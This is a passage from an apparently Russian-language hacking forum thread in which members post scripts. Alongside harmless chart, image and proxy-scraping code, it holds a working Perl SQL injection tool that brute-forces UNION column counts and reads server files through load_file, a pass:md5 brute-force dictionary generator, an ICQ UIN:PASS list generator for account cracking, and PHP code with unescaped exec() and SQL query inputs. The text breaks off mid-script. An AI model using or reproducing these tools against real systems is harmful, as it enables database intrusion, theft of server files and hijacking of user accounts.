($n,$a) = unpack "a30a30", $t;
}
}
close $h;
$n =~ s/[\0\s\r\n]+$//s;
$a =~ s/[\0\s\r\n]+$//s;

next if $a eq '';
next if $n eq '';

my $r = "$a - $n";

$r =~ s/http:\/\///ig;

$r =~ s/[\0-\39]//g;
$r =~ s/[\\\/\:\*\?\"\<\>\|]/_/g;

while($r =~ /\s\s/) { $r =~ s/\s\s/ /; }

my $s = $r;
$s =~ tr/\300-\377\260\261/\200-\257\340-\357\360\361/;
printf "%s\n", $s;

$r .= '.mp3';

next if $r eq $f;

while(-e "$d/$r") { $r =~ s/\.mp3$/_\.mp3/; }

if(rename "$d/$f", "$d/$r") { $c++; }
else { print "$f $!\n"; }
}
printf "renamed %d of %d\n", $c, scalar @l;

Вот подборщик кол-во union (вывод с load_file пока не доделал) запускать СКРИПТ.pl 1

#!/usr/bin/perl
#================================================= ========================#
use LWP::UserAgent;
use Getopt::Std;
#================================================= ========================#

#================================================= ========================#
#=MAIN============================================ =======================#

print "\n AAAAAA OOOOOO H H\n";
print " A A O O H H\n";
print " AAAAAA O O HHHHH\n";
print " A A O O H H\n";
print " A A OOOOOO H H\n\n";

$filt=1; #only chars in resolt

my $www = LWP::UserAgent->new;

uss();

if(!$ARGV[0]) {

ans();
while (true)
{
print "\nNew file (^c for quit) ->";
$f=<STDIN>;
$f =~ s/\n//;
enc(); #encode file
burl();
conn();
getres();
}

}
else
{
print "Url for brute-> "; $u=<STDIN>;
$u =~ s/\n//;
brute();
}

#=END=MAIN======================================== ====================#
#================================================= ======================#


sub brute()
{
$max=20;
$res='';

for ($j=1;$j<$max;$j++)
{
for ($i=1;$i<$j+1;$i++)
{$utmp.=$i."26639-1,";}

$utmp = substr($utmp, 0, length ($utmp) - 1 );
$utmp = $u." UNION SELECT ".$utmp."/*";

if($coll=chk($utemp)) {$utmp =~ s\26639-1\\g; print("[+$j] OK! Coloun number $coll is visible\r\n$utmp"); exit(0);}
else {print("[-$j] falure... ($szz Bytes)\r\n");}
#print $utmp."\r\n";

$utmp="";
}

}

sub chk()
{
$resp = $www -> get( $utmp ) or die();
$szz=length($resp->content());
if ($resp->content() =~ /(\d+)26638/) {return($1);}
}

sub ans()
{
print "\nAnsver some questions ;)\r\n";
print "Url for union-> "; $u=<STDIN>;
print "Number of coloums -> "; $n=<STDIN>;
print "Coloum with union -> "; $c=<STDIN>;
$u =~ s/\n//;
$f =~ s/\n//;
}

sub enc()
{
for ($i=0;$i<length($f);$i++) {$enc .= ord(substr($f, $i,1 )).',';}
$enc = substr($enc, 0, length ($enc) - 1 );
$f=$enc;
$enc='';
}

sub burl()
{
print "[~] File: $f\n";
$ur = $u; $tmp='';
for ($i=0;$i<$n;$i++)
{
if($i==$c-1) {
$tmp.="load_file(char($f)),";
}
else {$tmp.="0,";}
}
$tmp = substr($tmp, 0, length ($tmp) - 1 );
$ur.= "+union+select+$tmp/*";
print "[~] url: $ur\n";
}

sub conn ()
{
print "[~] Sending ...\n";
my $resp = $www -> get( $ur );
$cont = $resp -> content();
}

sub getres()
{
$s="</b><br><br>";
$e="</p></p>";

$result;
#print $cont;
print "[~] Start: $s \n";
print "[~] End: $e \n";
print "[~] Searching...\n ";
@stringz=split("\n",$cont);

for(@stringz)
{
if(/$e/) { $p = 0; }
$result .= $_."\r\n" if $p;
if(/$s/){ $p = 1; }
}

$result =~ tr/a-zA-Z /a-zA-Z/d;

if($result) { print "[+] I found something! \n\n $result"; }
else {print "[-] Not found...\n ";}

$result='';
}



sub uss()
{
print 'AOH SQL INJECTION TOOL By AoH]Slon'."\n";
print 'Use aoh.pl 1 for brute colouns'."\n\n";
}

Ch3ck
19.12.2006, 14:59
Вот мой небольшой пример создания секторных диаграмм:
<?php
define("HEIGHT",200);
define("WIDTH",200);
$data=array(10,5,20,40,10,15);
$img=imagecreate(200, 200);
$background=$white=imagecolorallocate($img, 0xFF,0xFF,0xFF);
$black=imagecolorallocate($img, 0, 0, 0);
$center_x=(int)WIDTH/2;
$center_y=(int)HEIGHT/2;
imagerectangle($img, 0, 0, WIDTH-1, HEIGHT-1, $black);
$last=0;
foreach($data as $proc) {
$len=(360*$proc)/100;
imagefilledarc($img,
$center_x,
$center_y,
WIDTH-20,
HEIGHT-20,
$last,
($last+$len),
$black,
IMG_ARC_EDGED | IMG_ARC_NOFILL);
$last +=$len;
}
header("Content-Type: image/png");
imagepng($img);
?>
И вот "цветастая, красивая" объёмная круговая диаграмма. Если раскометировать пару тройку строк, то будем с легендой.:
<?

// $im - идентификатор изображения
// $VALUES - массив со значениями
// $LEGEND - массив с подписями
function Diagramm($im,$VALUES,$LEGEND) {
GLOBAL $COLORS,$SHADOWS;

$black=ImageColorAllocate($im,0,0,0);

// Получим размеры изображения
$W=ImageSX($im);
$H=ImageSY($im);

// Вывод легенды #####################################

// Посчитаем количество пунктов, от этого зависит высота легенды
$legend_count=count($LEGEND);

// Посчитаем максимальную длину пункта, от этого зависит ширина легенды
$max_length=0;
// foreach($LEGEND as $v) if ($max_length<strlen($v)) $max_length=strlen($v);

// Номер шрифта, котором мы будем выводить легенду
$FONT=2;
$font_w=ImageFontWidth($FONT);
$font_h=ImageFontHeight($FONT);

// Вывод прямоугольника - границы легенды ----------------------------

$l_width=($font_w*$max_length)+$font_h+10+5+10;
$l_height=$font_h*$legend_count+10+10;


// Получим координаты верхнего левого угла прямоугольника - границы легенды
$l_x1=$W-10-$l_width;
// $l_y1=($H-$l_height)/2;

// Выводя прямоугольника - границы легенды
// ImageRectangle($im, $l_x1, $l_y1, $l_x1+$l_width, $l_y1+$l_height, $black);

// Вывод текст легенды и цветных квадратиков
// $text_x=$l_x1+10+5+$font_h;
// $square_x=$l_x1+10;
/// $y=$l_y1+10;
/*
$i=0;
foreach($LEGEND as $v) {
$dy=$y+($i*$font_h);
ImageString($im, $FONT, $text_x, $dy, $v, $black);
ImageFilledRectangle($im,
$square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1,
$COLORS[$i]);
ImageRectangle($im,
$square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1,
$black);
$i++;
}
*/
// Вывод круговой диаграммы ----------------------------------------

$total=array_sum($VALUES);
$anglesum=$angle=Array(0);
$i=1;

// Расчет углов
while ($i<count($VALUES)) {
$part=$VALUES[$i-1]/$total;
$angle[$i]=floor($part*360);
$anglesum[$i]=array_sum($angle);
$i++;
}
$anglesum[]=$anglesum[0];

// Расчет диаметра
$diametr=$l_x1-10-10;

// Расчет координат центра эллипса
$circle_x=($diametr/2)+10;
$circle_y=$H/2-10;

// Поправка диаметра, если эллипс не помещается по высоте
if ($diametr>($H*2)-10-10) $diametr=($H*2)-20-20-40;

// Вывод тени
for ($j=20;$j>0;$j--)
for ($i=0;$i<count($anglesum)-1;$i++)
ImageFilledArc($im,$circle_x,$circle_y+$j,
$diametr,$diametr/2,
$anglesum[$i],$anglesum[$i+1],
$SHADOWS[$i],IMG_ARC_PIE);

// Вывод круговой диаграммы
for ($i=0;$i<count($anglesum)-1;$i++)
ImageFilledArc($im,$circle_x,$circle_y,
$diametr,$diametr/2,
$anglesum[$i],$anglesum[$i+1],
$COLORS[$i],IMG_ARC_PIE);
}
$an=0;
$an1=1;
$an2=2;
$an3=3;
$an4=4;
$an5=5;
$an6=6;
// Зададим значение и подписи
$VALUES=Array($an,$an1,$an2,$an3,$an4,$an5,$an6);
$LEGEND=Array("Пон","Вт","Ср","Чет","Пят","Суб","AS");

// Создадим изображения
header("Content-Type: image/png");
$im=ImageCreate(300,300); // размеры

// Зададим цвет фона.
$bgcolor=ImageColorAllocate($im,255,255,255);

// Зададим цвета элементов
$COLORS[0] = imagecolorallocate($im, 255, 203, 3);
$COLORS[1] = imagecolorallocate($im, 220, 101, 29);
$COLORS[2] = imagecolorallocate($im, 189, 24, 51);
$COLORS[3] = imagecolorallocate($im, 214, 0, 127);
$COLORS[4] = imagecolorallocate($im, 98, 1, 96);
$COLORS[5] = imagecolorallocate($im, 0, 62, 136);
$COLORS[6] = imagecolorallocate($im, 0, 102, 179);
$COLORS[7] = imagecolorallocate($im, 0, 145, 195);

// Зададим цвета теней элементов
$SHADOWS[0] = imagecolorallocate($im, 205, 153, 0);
$SHADOWS[1] = imagecolorallocate($im, 170, 51, 0);
$SHADOWS[2] = imagecolorallocate($im, 139, 0, 1);
$SHADOWS[3] = imagecolorallocate($im, 164, 0, 77);
$SHADOWS[4] = imagecolorallocate($im, 48, 0, 46);
$SHADOWS[5] = imagecolorallocate($im, 0, 12, 86);
$SHADOWS[6] = imagecolorallocate($im, 0, 52, 129);
$SHADOWS[7] = imagecolorallocate($im, 0, 95, 145);


// Вызов функции рисования диаграммы
Diagramm($im,$VALUES,$LEGEND);

// Генерация изображения
ImagePNG($im)
?>

blaga
21.12.2006, 15:50
Скрипт для добавления картинок на сайт(ваш естессно). Что он умеет:
Вначале конечно инсталятор. Создает таблицы в базе, пишет конфиг.
Затем само добавление. Во первых скрипт создает сам таблицы по категориям. Если нужно изменить категории то в сорцах все легко меняется. При добавлении, добавляет в базу свое непосредственное имя, имя которое будет отображаться на сайте(например "Супер тачка"), разрешение(1024х768), вес(300Бт, 214Кб, 1,2Мб), дату добавления и имя того кто добавил.
Все параметры кроме пути к файлу и имени заполняются автоматом. Изображение копируется на сервер, на него наносятся две строчки(маленькие) с адресом сайта(нужно править в сорцах вручную). Так же создается превью. у превью точно такое же имя что и у оригинальной картинки, поэтому для его вывода стоит выводить имя оригинальной картинки. Соответственно большие картинки хранятся в папке img а маленькие в th Из фичей в нем стоит фильтр на загрузку только изображений(проверяет тип). И есть функция для правильного размера файла. Тоесть будет отображаться например 256kb, 1,2mb и так далее. Скрипт делал для себя так что извиняйте, функционал не очень. Собственно скачать. http://myreferat.jino-net.ru/add.rar

TANZWUT
27.12.2006, 16:04
генератор по нужным нам символам, в данном случае пасс:хеш(md5). поидее легко беределать под брутилку и т.д. и т.п.
Автор Hidden

<?php
@set_time_limit(0);
$charset='0123456789abcdefghijklmnopqrstuvwxyz~!@# $%^&*()_+=-`"№;:?';
$minlen=1;
$maxlen=4;
$file=log;

function inc(&$arr,$charset){
for($n=count($arr)-1;$n>=0;$n--){
$v=$arr[$n]+1;
$arr[$n]=$v%strlen($charset);
if($arr[$n]==$v){
break;
}
}
foreach($arr as $val){
if($val<strlen($charset)-1) return 0;
}
return -1;
}

function arr2str($arr,$charset){
$ret='';
foreach($arr as $val){
$ret.=$charset[$val];
}
return $ret;
}
$f = fopen( $file, "w" );
for($len=$minlen;$len<=$maxlen;$len++){
$line=array();
for($n=0;$n<$len;$n++){
$line[]=0;
}
$ret=0;
while($ret==0){
$ret=inc($line,$charset);
$str=arr2str($line,$charset);
echo $str.':'.md5($str)."\r\n";
fputs( $f, $str.':'.md5($str)."\r\n");

}
}
fclose( $f );
?>

TANZWUT
27.12.2006, 16:06
<?php

if (isset($HTTP_GET_VARS["dictgen"]))
{
if (!isset( $HTTP_GET_VARS["listfile"] )) exit( "listfile not specified\r\n" );
if (!isset( $HTTP_GET_VARS["from"] )) exit( "from not specified\r\n" );
if (!isset( $HTTP_GET_VARS["to"] )) exit( "to not specified\r\n" );
if (!isset( $HTTP_GET_VARS["pass"] )) exit( "pass not specified\r\n" );
if (!isset( $HTTP_GET_VARS["mode"] )) exit( "mode not specified\r\n" );

$fname = $HTTP_GET_VARS["listfile"];
$min = $HTTP_GET_VARS["from"];
$max = $HTTP_GET_VARS["to"];
$pass = $HTTP_GET_VARS["pass"];
$mode = $HTTP_GET_VARS["mode"];

switch ($mode) :
case "a" :
$f = fopen( $fname, "a" );
break;

case "w" :
$f = fopen( $fname, "w" );
break;

default :
{
print "What about mode ? a (append) or w (rewrite) ?\r\n";
}
endswitch;

$f_pass = fopen( $pass, "r" );

while ($l = fgets( $f_pass, 50 )) :
$l = str_replace( "\r\n", "", $l );
for ($i = $min; $i <= $max; $i += 1):
fputs( $f, $i.";".$l."\r\n" );
endfor;
endwhile;

fclose( $f );
fclose( $f_pass );

if ($mode == "w")
print "Rewrite: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass;
else
print "Append: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass;

exit;
}

else

if (isset($HTTP_GET_VARS["singlegen"]))
{
if (!isset( $HTTP_GET_VARS["listfile"]) ) exit( "listfile not specified\r\n" );
if (!isset( $HTTP_GET_VARS["from"]) ) exit( "from not specified\r\n" );
if (!isset( $HTTP_GET_VARS["to"]) ) exit( "to not specified\r\n" );
if (!isset( $HTTP_GET_VARS["pass"]) ) exit( "pass not specified\r\n" );
if (!isset( $HTTP_GET_VARS["mode"]) ) exit( "mode not specified\r\n" );

$fname = $HTTP_GET_VARS["listfile"];
$min = $HTTP_GET_VARS["from"];
$max = $HTTP_GET_VARS["to"];
$pass = $HTTP_GET_VARS["pass"];
$mode = $HTTP_GET_VARS["mode"];

switch ($mode) :
case "a" :
$f = fopen( $fname, "a" );
break;

case "w" :
$f = fopen( $fname, "w" );
break;

default :
{
print "What about mode ? a (append) or w (rewrite) ?\r\n";
}
endswitch;

for ($i = $min; $i <= $max; $i += 1):
fputs( $f, $i.";".$pass."\r\n" );
endfor;

fclose( $f );

if ($mode == "w")
print "Rewrite: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass;
else
print "Append: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass;

exit;
}
?>

Генератор UIN:PASS листа, автор KEZ если не ошибаюсь..

Dracula4ever
04.01.2007, 23:10
Это PHP скрипт, который включает следующи утилиты: whois, finger, и traceroute.



<?PHP
// whois(hostname [,username, [port]])
Function whois ($a_server, $a_query="", $a_port=43) {
$sock = fsockopen($a_server, $a_port, &$errno, &$errstr, 10);
if (!$sock)
{
echo "$errstr ($errno)<BR>\n";
} else {
fputs($sock, "$a_query\r\n");
while(!feof($sock))
{
$buf = fgets($sock,128);
if (ereg( "Whois Server:", $buf))
{
$a_server = str_replace( "Whois Server: ", "", $buf);
$a_server = trim($a_server);
}
}
fclose($sock);

if ($a_server)
{
print "<B>$a_query is registered at $a_server:</B><BR>";
$sock = fsockopen($a_server, 43, &$errno, &$errstr, 10);
if(!$sock)
{
echo "Could not open connection to $a_server on port
$a_port.\n";
echo "$errstr ($errno)<BR>\n";
} else {
fputs($sock, "$a_query\r\n");
while(!feof($sock))
{
echo fgets($sock,128);
}
fclose($sock);
}
} else {
echo "<b>$a_query was not found.</b><BR>";
}
}
}


// finger(hostname [,username, [port]])
Function finger ($a_server, $a_query="", $a_port=79) {
$sock=fsockopen($a_server,$a_port, &$errno, &$errstr, 10);
if (!$sock)
{
$ret_str = "$errstr ($errno)<BR>\n";
} else {
fputs($sock,"$a_query\n");
while (!feof($sock)) { $ret_str .= fgets($sock,128); }
fclose($sock);
}
echo $ret_str;
return $ret_str;
}


// traceroute(hostname)
Function traceroute ($a_query) {
exec("traceroute $a_query",$ret_strs);
$str_count = count($ret_strs);
for ($count=0; $count < $str_count; $count++)
print "$count/$str_count".$ret_strs[$count]."\n";
}


// -----------------------------------------------------------


$app_name = "PHP Net Toolpack";
$app_version = "0.1";

$TOOLS = array(
"finger" => "Finger",
"traceroute" => "Traceroute",
"whois" => "Whois?"
);

// when included inside <select name="tool"> on a html file ..
if ($tool=="listtools")
{
while (list($key, $val) = each($TOOLS)) {
print " <OPTION VALUE=\"".$key."\">".$val."</OPTION>\n";
}
exit;
}

// print appropriate html header
print "<HTML>";
if ($tool)
{
print "<HEAD><TITLE>".$tool." for ".$query."</TITLE></HEAD>\n";
print "<BODY>\n<H3>".$tool." for ".$query." ..</H3>\n";
} else {
print "<HEAD><TITLE>".$app_name."</TITLE></HEAD>\n";
print "<BODY>\n<H3>".$app_name."</H3>\n";
}

// check what tool they want to use and do what is necessary
switch($tool) {
case "finger":
if ($query)
{
print "<PRE>\n";
finger($server, $query);
print "</PRE>";
} else {
?>

<FORM ACTION="<?PHP echo($PHP_SELF. "?tool=".$tool); ?>" METHOD="post">
Server : <INPUT TYPE="text" NAME="server" VALUE="localhost"> <BR>
Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
<INPUT TYPE="submit" VALUE="Finger">
</FORM>

<?PHP
}
break;

case "traceroute":
if ($query)
{
print "<PRE>\n";
traceroute($query);
print "</PRE>";
} else {
?>

<FORM ACTION="<?PHP echo($PHP_SELF. "?tool=".$tool); ?>" METHOD="post">
Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
<INPUT TYPE="submit" VALUE="Trace route">
</FORM>

<?PHP
}
break;


case "whois":
if ($query)
{
print "<PRE>\n";
whois($server,$query);
print "</PRE>";
} else {
?>

<!-- <UL>
To look up a NIC handle, host name, or registrant,
use one of the keywords below:<BR>
<LI>To search by NIC handle (or contact), type "handle WA3509"</LI><BR>
<LI>To search by name, type "name lastname, firstname" </LI><BR>
<LI>To search by company name, type "name The Sample Corporation" </LI><BR>
<LI>To search by domain name, type "example.com" </LI><BR>
<LI>To search by IP address, type "host 121.23.2.7" </LI><BR>
<LI>To search by host or nameserver name, type "host ns1.worldnic.com"
</LI><BR>
(examples are from networksolutions.com)
</UL> -->

<FORM ACTION="<?PHP echo($PHP_SELF. "?tool=".$tool); ?>" METHOD="post">
This will find .com, .org, and .net domains<BR>
Server : <INPUT TYPE="text" NAME="server" VALUE="rs.internic.net"> <BR>
Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
<INPUT TYPE="submit" VALUE="<?PHP echo $TOOLS[$tool]; ?>">
</FORM>

<?PHP
}
break;

default:
print "<UL>Currently supported tools are:\n";
while (list($key, $val) = each($TOOLS)) {
echo "<LI><A HREF=\"".$PHP_SELF."?tool=".$key."\">".$val."</A></LI>\n";
}
print "</UL>\n";
break;
}

print "\n<HR><SMALL>".$app_name." v".$app_version."</SMALL>\n";
print "<BODY>\n</HTML>";

?>

p-range
12.01.2007, 11:33
Мой скрипт для скачивания файла с одного сервера на фтп другого

<?php
echo '<html>
<head>
<title></title>
<style>
body
{
background-color: #1a1a1a;
}
table
{
border: 1px #333333 solid;
}
td,th
{
font-size: 10px;
font-family: verdana, tahoma;
color: #666666;
background-color: #1a1a1a;
border: 0px #333333 solid;
}
input
{
font-family: verdana, tahoma;
font-size: 10px;
color: grey;
background-color: #1a1a1a;
border: 1px #333333 solid;
}
a
{
font-size: 10px;
text-decoration: none;
color: grey;
}
</style>
</head>
<table border="0" width="600" align="center">
<form action="" method="post">
<tr>
<td colspan="2" align="center">
<b>Скрипт для скачивания файла с одного сервера на фтп другого</b>
</td>
</tr>
<tr>
<td colspan="2" align="center"><b>Основные настройки</b></td>
</tr>
<tr>
<td>Файл для скачивания</td>
<td><input type="text" name="file" size="50" value="file.sql"></td>
</tr>
<tr>
<td>Путь до директории с файлом относительно сайта</td>
<td><input type="text" name="path" size="50" value="/downloads"></td>
</tr>
<tr>
<td>Хост, с которого будем сливать файл</td>
<td><input type="text" name="host" size="50" value="server.ru"></td>
</tr>
<tr>
<td colspan="2" align="center"><b>Настройки FTP</b></td>
</tr>
<tr>
<td>FTP хост, на который будем заливать файл</td>
<td><input type="text" name="ftphost" size="50" value="ftp.server.ru"></td>
</tr>
<tr>
<td>FTP логин</td>
<td><input type="login" name="login" size="50" value="ftpuser"></td>
</tr>
<tr>
<td>FTP пароль</td>
<td><input type="pass" name="pass" size="50" value="ftppass"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Отправить"></td>
</tr>
<tr>
<td colspan="2" align="center">
Coded by <b>p-range</b> - <a href="http://cf-team.net">cf-team.net</a>,
<a href="http://p-range.info">p-range.info</a></td>
</tr>
</form>
</table>';
if(isset($_POST['file']) && isset($_POST['path'])
&& isset($_POST['host']) && isset($_POST['ftphost'])
&& isset($_POST['login']) && isset($_POST['pass']))
{
$file = $_POST['file']; // файл для скачивания
$path = $_POST['path']; // путь до директории с файлом относительно сайта
$host = $_POST['host']; // Хост, с которого будем сливать файл
$ftphost = $_POST['ftphost']; // FTP хост, на который будем заливать файл
$login = $_POST['login']; // FTP логин
$pass = $_POST['pass']; // FTP пароль
// открыли соединение
$so = fsockopen($host, 80, &$errno, &$errstr, 30);
// послали GET форму (простой URL + указание вирт. хоста)
fputs($so,"GET $path/$file HTTP/1.0\nHOST: $host\n\n");

// читаем все, пока не наступит "конец заголовка" (т.е. начало документа)
// если наступит, то со след. байта начнется документ
while(fgets($so,2048)!="\r\n" && !feof($so));

unset($buf);
// читаем документ в переменную
while(!feof($so)) $buf.=fread($so,2048);
// Готово. В переменной $buf храниться скаченный документ (т.е. файл)
// Максимум можно читать порциями по 64K-1байт

// закрываем сокет
fclose($so);
echo "Download file, size ".strlen($buf)." bytes.<br>"; flush();

// используем скаченный файл (в переменной) по назначению...
$f=fopen($file,"wb+");
fwrite($f,$buf,strlen($buf));
fclose($f);

$ftp = ftp_connect($ftphost);
if($ftp)
{
@$res = ftp_login($ftp,$login,$pass);
if($res)
{
$fp = fopen($file, "r");
$fput = ftp_fput($ftp, $file, $fp, FTP_BINARY);
fclose($fp);
if(!$fput)
{
echo "<font color='#cc1233'>Error transfering</font>";
ftp_quit($ftp);
}
else
{
echo "<font color='#666666'>Success transfering <b>".$file."</b></font>";
}
}
else
{
echo "<font color='#cc1233'>Error login</font>";
ftp_quit($ftp);
}
}
}
?>

Скачать можно отсюда:
http://p-range.info/pub/transfer.zip

GHostly_FOX
13.01.2007, 09:51
На форуме Хакер.РУ была тема по блокировки копирования изображения с сайта (ну конечно от ПринтСкрина ничто не спасет но все-же)... Вот мой код для решения этой проблеммы:

Это код который будет использоватся на сайте для отображения изображения:

<div style="position: relative; width: 480px">
<table width="480" height="324" cellspacing="0" cellpadding="0" style="position: absolute; color: #F0F0F0"><tr>
<td style="padding: 10px 10px;" align="left" valign="top">
Тут некоторый текст, к примеру описание
</td>
</tr></table>
<img src="images.php?f=1" width="480" height="324">
</div>


А вот код файла images.php


<?php
/*Тут организовать подключение к базе MySQL*/
$width=(isset($_GET['w']))?$_GET['w']:0;
$height=(isset($_GET['h']))?$_GET['h']:0;
$sql = mysql_query("SELECT * FROM images WHERE id='".$_GET['f']."'");//$_GET['f'] в данном случае служит как номер изображения в базе
$res = mysql_fetch_array($sql);
$ffile = $res['images'];
header('(anti-spam-content-type:) image/jpeg');
list($widthorig, $heightorig) = getimagesize($ffile);
if(!$width && !$height){
$width = $widthorig;
$height = $heightorig;
}
if($width && !$height){
$width = ($width > $widthorig) ? $widthorig : $width;
$height = ($width > $widthorig) ? $heightorig : ($heightorig / $widthorig) * $width;
}
if($height && !$width){
$height = ($height > $heightorig) ? $heightorig : $height;
$width = ($height > $heightorig) ? $widthorig : ($widthorig / $heightorig) * $height;
}
$extn=explode(".",$ffile);
$i=count($extn);
$ext=strtolower($extn[$i-1]);
$imagep = imagecreatetruecolor($width, $height);
if($ext=="jpg")$image=imagecreatefromjpeg($ffile);
if($ext=="png")$image=imagecreatefrompng($ffile);
if($ext=="gif")$image=imagecreatefromgif($ffile);
imagecopyresampled($imagep, $image, 0, 0, 0, 0, $width, $height, $widthorig, $heightorig);
imagejpeg($imagep, null, 100);
?>


(C) Для создания кода иследовался код сайта www.drive.ru и PHP Class Resize взятый с сайта: phpclasses.segmenta.ru

NOmeR1
14.01.2007, 12:12
Image to TEXT (http://forum.antichat.ru/thread30929.html) :)

nc.STRIEM
14.01.2007, 16:04
Парсер проксей с сайта http://proxy4free.com
Все прокси разделяються на 3 группы: Transparent, Anonymous, High anonymity.
Пример работы скрипта: http://striem.org/proxy/

<?
/* www.proxy4free.com - GRABER (c) nc.STRIEM*/
$transparent=array();
$anonymous=array();
$high_anonymity=array();
echo "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>";
function parsproxy($res)
{
global $fr,$transparent,$anonymous,$high_anonymity,$elsep r;
$strtof='<tr bgcolor="#ffffff" class="text" height=10>';
$razd=':';
$razm=sizeof($res);
for($i=0;$i<$razm;$i++)
{
if(strstr($res[$i],$strtof))
{
$i++;
$p=split('>',$res[$i]);
$p=split('<',$p[1]);
$proxres=$p[0].$razd;
$i++;
$p=split('>',$res[$i]);
$p=split('<',$p[1]);
$proxres.=$p[0];
$i++;
$p=split('>',$res[$i]);
$p=split('<',$p[1]);
if(strstr($p[0],"anonymous"))
$anonymous[sizeof($anonymous)]=$proxres;
elseif(strstr($p[0],"high"))
$high_anonymity[sizeof($high_anonymity)]=$proxres;
else $transparent[sizeof($transparent)]=$proxres;
}
}
}

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
$ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
$ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
$ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fo=fopen("proxy.txt","w");
echo "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>";
for($i=0;$i<sizeof($transparent);$i++)
{fwrite($fo,$transparent[$i]."\n");
echo $transparent[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>";
for($i=0;$i<sizeof($anonymous);$i++)
{fwrite($fo,$anonymous[$i]."\n");
echo $anonymous[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>";
for($i=0;$i<sizeof($high_anonymity);$i++)
{fwrite($fo,$high_anonymity[$i]."\n");
echo $high_anonymity[$i]."<br>";}
echo "</fieldset></td></tr></table>";
fclose($fo);
?>

Robin_Hood
15.01.2007, 18:42
<?php
$directories = glob("/tmp/*", GLOB_ONLYDIR);
$complete = glob("/tmp/*");
$files = array_diff($directories, $complete);

echo "каталоги в /tmp/<BR>";

foreach($directories as $val) {
echo "$val<BR>\n";
}
echo"<BR>Файлы в /tmp/<BR>";

foreach($files as $val) {
echo "$val<BR>\n";
}

показывает все файлы и папки с каталога тмп(вместо него указываем домашнюю директорию)
(для составления списка самых распространенных директорий)

gizmo
15.01.2007, 20:05
Парсер проксей с сайта http://proxy4free.com
Все прокси разделяються на 3 группы: Transparent, Anonymous, High anonymity.
Пример работы скрипта: http://striem.org/proxy/


Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in public_html/test.php on line 9

p-range
15.01.2007, 20:16
2gizmo
global $fr,$transparent,$anonymous,$high_anonymity,$elsep r;
девятая строка

Isis
15.01.2007, 21:26
<?
/* www.proxy4free.com - GRABER (c) nc.STRIEM*/
$transparent=array();
$anonymous=array();
$high_anonymity=array();
echo "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>";
function parsproxy($res)
{
global $fr,$transparent,$anonymous,$high_anonymity,$elsep ;
$strtof='<tr bgcolor="#ffffff" class="text" height=10>';
$razd=':';
$razm=sizeof($res);
for($i=0;$i<$razm;$i++)
{
if(strstr($res[$i],$strtof))
{
$i++;
$p=split('>',$res[$i]);
$p=split('<',$p[1]);
$proxres=$p[0].$razd;
$i++;
$p=split('>',$res[$i]);
$p=split('<',$p[1]);
$proxres.=$p[0];
$i++;
$p=split('>',$res[$i]);
$p=split('<',$p[1]);
if(strstr($p[0],"anonymous"))
$anonymous[sizeof($anonymous)]=$proxres;
elseif(strstr($p[0],"high"))
$high_anonymity[sizeof($high_anonymity)]=$proxres;
else $transparent[sizeof($transparent)]=$proxres;
}
}
}

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
$ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
$ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
$ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fo=fopen("proxy.txt","w");
echo "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>";
for($i=0;$i<sizeof($transparent);$i++)
{fwrite($fo,$transparent[$i]."\n");
echo $transparent[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>";
for($i=0;$i<sizeof($anonymous);$i++)
{fwrite($fo,$anonymous[$i]."\n");
echo $anonymous[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>";
for($i=0;$i<sizeof($high_anonymity);$i++)
